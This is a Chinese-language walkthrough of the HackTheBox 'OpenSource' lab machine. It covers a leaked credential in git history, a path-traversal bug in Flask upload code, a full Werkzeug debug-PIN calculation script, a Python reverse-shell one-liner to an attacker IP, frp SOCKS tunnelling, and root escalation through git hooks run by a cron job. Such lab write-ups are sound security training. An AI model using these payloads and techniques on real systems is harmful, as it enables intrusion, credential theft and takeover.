HackTheBox-OpenSource

nmap 扫描结果


download处可以下载到源代码,发现其存在.git文件夹

存在两个分支devpublic

通过比较分支,发现app/.vscode/setting.json

1
2
3
4
5
{
"python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
"http.proxy": "http://dev01:Soulless_Developer#[email protected]:5187/",
"http.proxyStrictSSL": false
}

分析源代码view.pyutils.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import os

from app.utils import get_file_name
from flask import render_template, request, send_file

from app import app


@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)
return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
return render_template('upload.html')


@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import time


def current_milli_time():
return round(time.time() * 1000)


"""
Pass filename and return a secure version, which can then safely be stored on a regular file system.
"""


def get_file_name(unsafe_filename):
return recursive_replace(unsafe_filename, "../", "")


"""
TODO: get unique filename
"""


def get_unique_upload_name(unsafe_filename):
spl = unsafe_filename.rsplit("\\.", 1)
file_name = spl[0]
file_extension = spl[1]
return recursive_replace(file_name, "../", "") + "_" + str(current_milli_time()) + "." + file_extension


"""
Recursively replace a pattern in a string
"""


def recursive_replace(search, replace_me, with_me):
if replace_me not in search:
return search
return recursive_replace(search.replace(replace_me, with_me), replace_me, with_me)

send_report函数中,虽然对../进行了过滤,但是由于os.path.join的存在,可以进行目录遍历和任意文件读取

os.path.join调用遇到绝对路径时,它会忽略在该点之前遇到的所有参数并开始使用新的绝对路径,当参数可控时,我们控制恶意参数输入绝对路径,可能产生目录遍历

发现其开启了flask的debug模式,利用任意文件读取可以对flask的pin码进行破解


Flask pin码破解

https://raw.githubusercontent.com/wdahlenburg/werkzeug-debug-console-bypass/main/werkzeug-pin-bypass.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/bin/python3
import hashlib
from itertools import chain

probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'2485377892354',# str(uuid.getnode()), /sys/class/net/ens33/address /sys/class/net/eth0/address 将16进制转换成10进制
# Machine Id: /etc/machine-id(部分linux系统可能没有,直接忽略即可) + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
'1222106c-51fc-4deb-bc76-3a0e8123ecd75e5fb2cb3c55faf7ef369518259de66b251fa02647e1dca9db0b943d6f8c4235'
]

h = hashlib.sha1() # Newer versions of Werkzeug use SHA1 instead of MD5
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print("Pin: " + rv)

1
import os,pty,socket;s=socket.socket();s.connect(("10.10.16.8",7000));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")


构建frp

1
2
3
4
5
6
7
8
[common]
server_addr = 10.10.16.8
server_port = 7777

[s5]
type = tcp
plugin = socks5
remote_port = 6000

发现在http://172.17.0.1:3000/存在一个Gitea页面

利用dev01:Soulless_Developer#2022进行登录

home-backup/.ssh/id_rsa中得到一个ssh私钥


提权

直接提权不行,用find / -user root -perm -4000 -print 2>/dev/null也没找到可以利用的点

上个pspy看进程监控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
2022/08/27 06:53:01 CMD: UID=0    PID=5168   | /bin/sh -c /usr/local/bin/git-sync 
2022/08/27 06:53:01 CMD: UID=0 PID=5167 | /bin/sh -c /usr/local/bin/git-sync
2022/08/27 06:53:01 CMD: UID=0 PID=5166 | /usr/sbin/CRON -f
2022/08/27 06:53:01 CMD: UID=0 PID=5169 | git status --porcelain
2022/08/27 06:53:01 CMD: UID=??? PID=5171 | ???
2022/08/27 06:53:01 CMD: UID=0 PID=5172 | git commit -m Backup for 2022-08-27
2022/08/27 06:53:01 CMD: UID=0 PID=5173 | git push origin main
2022/08/27 06:53:01 CMD: UID=0 PID=5174 | /usr/lib/git-core/git-remote-http origin http://opensource.htb:3000/dev01/home-backup.git
2022/08/27 06:54:01 CMD: UID=0 PID=5182 | /bin/sh -c /root/meta/app/clean.sh
2022/08/27 06:54:01 CMD: UID=0 PID=5181 | /bin/sh -c cp /root/config /home/dev01/.git/config
2022/08/27 06:54:01 CMD: UID=0 PID=5180 | /usr/sbin/CRON -f
2022/08/27 06:54:01 CMD: UID=0 PID=5179 | /usr/sbin/CRON -f
2022/08/27 06:54:01 CMD: UID=0 PID=5178 | /usr/sbin/CRON -f
2022/08/27 06:54:01 CMD: UID=0 PID=5177 | /usr/sbin/CRON -f
2022/08/27 06:54:01 CMD: UID=0 PID=5183 | /bin/bash /root/meta/app/clean.sh
2022/08/27 06:54:01 CMD: UID=0 PID=5184 | /bin/sh -c /usr/local/bin/git-sync
2022/08/27 06:54:01 CMD: UID=0 PID=5187 | /bin/bash /root/meta/app/clean.sh
2022/08/27 06:54:01 CMD: UID=0 PID=5186 | git status --porcelain
2022/08/27 06:54:01 CMD: UID=0 PID=5189 | /bin/bash /root/meta/app/clean.sh
2022/08/27 06:54:01 CMD: UID=0 PID=5188 | /bin/bash /root/meta/app/clean.sh
2022/08/27 06:54:01 CMD: UID=0 PID=5190 | date +%Y-%m-%d
2022/08/27 06:54:01 CMD: UID=0 PID=5191 | /bin/bash /usr/local/bin/git-sync
2022/08/27 06:54:01 CMD: UID=0 PID=5192 | /bin/bash /usr/local/bin/git-sync
2022/08/27 06:54:01 CMD: UID=0 PID=5193 | git push origin main
2022/08/27 06:54:01 CMD: UID=0 PID=5199 | /usr/lib/git-core/git-remote-http origin http://opensource.htb:3000/dev01/home-backup.git
2022/08/27 06:54:01 CMD: UID=0 PID=5221 | /lib/systemd/systemd-udevd

root权限运行/usr/local/bin/git-sync

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

cd /home/dev01/

if ! git status --porcelain; then
echo "No changes"
else
day=$(date +'%Y-%m-%d')
echo "Changes detected, pushing.."
git add .
git commit -m "Backup for ${day}"
git push origin main
fi

利用git hooksroot身份进行命令执行

手写 git hooks 脚本(pre-commit、commit-msg)

记得给pre-commit加权限